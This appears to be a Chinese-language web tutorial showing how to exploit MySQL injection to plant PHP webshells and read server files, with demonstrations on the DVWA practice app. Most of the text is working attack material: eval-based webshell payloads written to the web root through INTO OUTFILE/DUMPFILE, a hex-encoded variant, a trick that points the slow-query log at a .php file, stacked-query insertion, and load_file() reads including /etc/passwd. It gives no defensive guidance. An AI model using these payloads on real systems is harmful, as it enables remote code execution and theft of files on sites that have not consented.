您好,登錄后才能下訂單哦!
小編給大家分享一下Mysql注入如何寫Shell讀文件,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
利用Mysql的導出函數直接寫一個可訪問的webshell
1.1 條件
1.網站可訪問路徑的絕對路徑
報錯
輸入異常值讓腳本主動報錯,或googlehacking目標的腳本報錯信息
phpinfo
掃目錄找phpinfo
推測
目標可能使用集成安裝包,如phpstudy
C:\phpStudy\WWW\
C:\phpStudy\WWW\域名\
枚舉
高頻絕對路徑
讀配置文件
中間件,web的配置文件
2.secure_file_priv 的值非NULL或包含了導出的絕對路徑
secure_file_priv的值在mysql配置文件my.ini中設置,這個參數用來限制數據導入導出
Mysql>=5.5.53 默認為NULL,即默認禁止導入導出
Mysql<5.5.53 默認為空,即默認無限制
secure_file_priv值為NULL = 禁止導入導出
secure_file_priv值無具體值/為空 = 無限制
secure_file_priv值為某目錄 = 僅允許在該目錄下導入導出
查看secure_file_priv值的方法 show global variables like '%secure%';
3.mysql服務有對網站可訪問路徑的寫權限
4.mysql連接用戶有FILE權限/ROOT用戶或ROOT權限
select user,file_priv from mysql.user;
5.GPC關閉//未對閉合用的引號轉義
outfile 和 dumpfile的路徑不支持hex,必須有引號包裹
1.2 導出函數:outfile 和 dumpfile
outfile
select '<?php phpinfo(); ?>' into outfile "C:\\\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
需要注意的點:
a.outfile 可導出多行,并會在每?的結束加上換?符
如果test表中的內容有多行
導出效果
b.outfile 將數據寫到文件里時有特殊的格式轉換
a\naa\raaaa
寫入時
\n
被轉義,并且文件末尾加了一個新行
導致寫shell時要注意特殊字符
c.outfile 的路徑不能是0x開頭或者char轉換以后的路徑,只能是引號包裹的路徑
導致寫shell時無法通過hex編碼或char()來bypass引號轉義等
d.文件不能覆蓋寫入,所以寫入文件必須為不存在
dumpfile
select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
需要注意的點:
a.dumpfile 只能導出一行
b.dumpfile 在寫?件時會保持?件的原?內容/原數據格式,適合寫二進制文件,如exe文件,udf提權的dll文件
c.dumpfile 的路徑不能是0x開頭或者char轉換以后的路徑
d.文件不能覆蓋寫入,所以寫入文件必須為不存在
補充:利用導出函數的補充參數寫shell
select * from student into outfile "C:/phpStudy/MySQL/bin/test.php" LINES STARTING BY '<?php @eval($_POST[pass]);?>';
FIELDS TERMINATED BY ',' = 字段值之間以,分割 OPTIONALLY ENCLOSED BY '"' = 字段值以"包裹 LINES TERMINATED BY '\n' = 設置每?數據結尾的字符為換行符
某些情況,如select只有一個數字型字段,聯合查詢無法寫shell或注入點在limit等不能union的語句之后
1.3 寫shell演示
dvwa-low-sqli
1.一句話 outfile 直接寫
直接寫 -1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#
shell HEX編碼 id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#
寫入成功,連接測試成功
2.一句話 插入數據庫再outfile
因為dvwa-low-sqli使用的是 mysqli_query() ,一次執行一條sql語句,無法堆疊,修改成 mysqli_multi_query 演示
id=-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c']);?>","shell") ;#
id=-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';#
寫入成功,連接測試成功
將日志改為腳本文件,將shell記錄進日志來寫shell
2.1 條件
與導出函數寫Shell相比,規避了 secure_file_priv 的限制
1.網站可訪問路徑的絕對路徑
2.mysql服務有對網站可訪問路徑的寫權限
3.mysql連接用戶有權限開啟日志記錄和更換日志路徑/ROOT權限
4.GPC關閉/未對閉合用的引號轉義
雖然日志路徑可以hex編碼,但被記入日志的查詢語句中的shell內容需要引號包裹,加
\
后傳到數據庫執行會報錯,無法記錄進日志
2.2 mysql日志
mysql日志主要包含:錯誤日志、查詢日志、慢查詢日志、事務日志、二進制日志
mysql日志詳解:https://blog.csdn.net/maguang_it/article/details/79922339
只有查詢日志和慢查詢日志可利用,演示用的是慢查詢日志,所以這里主要講下慢查詢日志
慢查詢日志
慢查詢日志是用來記錄執行時間超過指定時間的查詢語句。
查看日志情況:
SHOW GLOBAL VARIABLES LIKE '%log%';
slow_query_log :表示慢查詢日志是否開啟,ON表示開啟,OFF表示未開啟,默認OFF
slow_query_log_file :表示慢查詢日志文件的路徑
查看超過多少時間會被記錄慢查詢日志(默認10s):
SHOW GLOBAL VARIABLES LIKE 'long%';
其中,日志文件可以改路徑也可以改文件后綴,這意味著可以將其改成網站目錄下的php腳本文件,再通過慢查詢將shell寫入,最后成為webshell
開啟慢查詢日志:
set global slow_query_log = 1;
更改日志路徑:
set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';
補充:日志路徑可以hex編碼
完成時間大于10s的sql語句會被記錄進慢查詢日志,如:select * from users where sleep(11);
其他日志
錯誤日志變量
log_error
只讀,只能通過修改mysql配置文件改路徑,不能利用
事務日志、二進制日志和錯誤日志一樣,只能通過修改mysql配置文件改路徑,不能利用
2.3 演示
dvwa-low-sqli,修改mysqli_query() 為 mysqli_multi_query 演示
1.開啟慢查詢日志并修改日志為網站路徑下的腳本
-1';set global slow_query_log = 1;set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';#
2.執行包含Shell的查詢語句并使用sleep(11)讓語句記錄進慢查詢日志腳本
-1';select "<?php eval($_POST[log]);?>" from users where sleep(11);#
3.連接成功
3.1 條件
1.所讀文件的絕對路徑
2.secure_file_priv 的值非NULL或包含了所讀文件的絕對路徑
3.mysql服務有對所讀文件的讀權限
4.mysql連接用戶有FILE權限/ROOT用戶或ROOT權限
3.2 讀文件函數:load_file()
load_file()
select load_file('絕對路徑');
與outfile/dumpfile不同的是,load_file的路徑可被hex編碼
select load_file(0x2F6574632F706173737764);
3.3 演示
dvwa-low-sqli
load_file()
-1'union select 1,load_file('C:/phpStudy/WWW/readme.txt');#
看完了這篇文章,相信你對“Mysql注入如何寫Shell讀文件”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。